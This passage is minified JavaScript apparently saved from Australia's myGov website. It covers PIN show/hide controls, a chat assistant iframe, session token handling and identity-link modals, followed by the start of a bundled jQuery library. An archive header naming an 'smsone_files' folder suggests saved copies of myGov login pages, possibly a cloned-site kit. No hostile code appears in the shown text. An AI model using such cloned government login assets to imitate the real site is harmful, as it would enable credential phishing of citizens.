screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt=''  /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to '+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/smsone_files/mgv2-vendor.js.download000064400000450717151676702570015523 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */

!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=Array.isArray(d)))?(e?(e=!1,f=c&&Array.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return 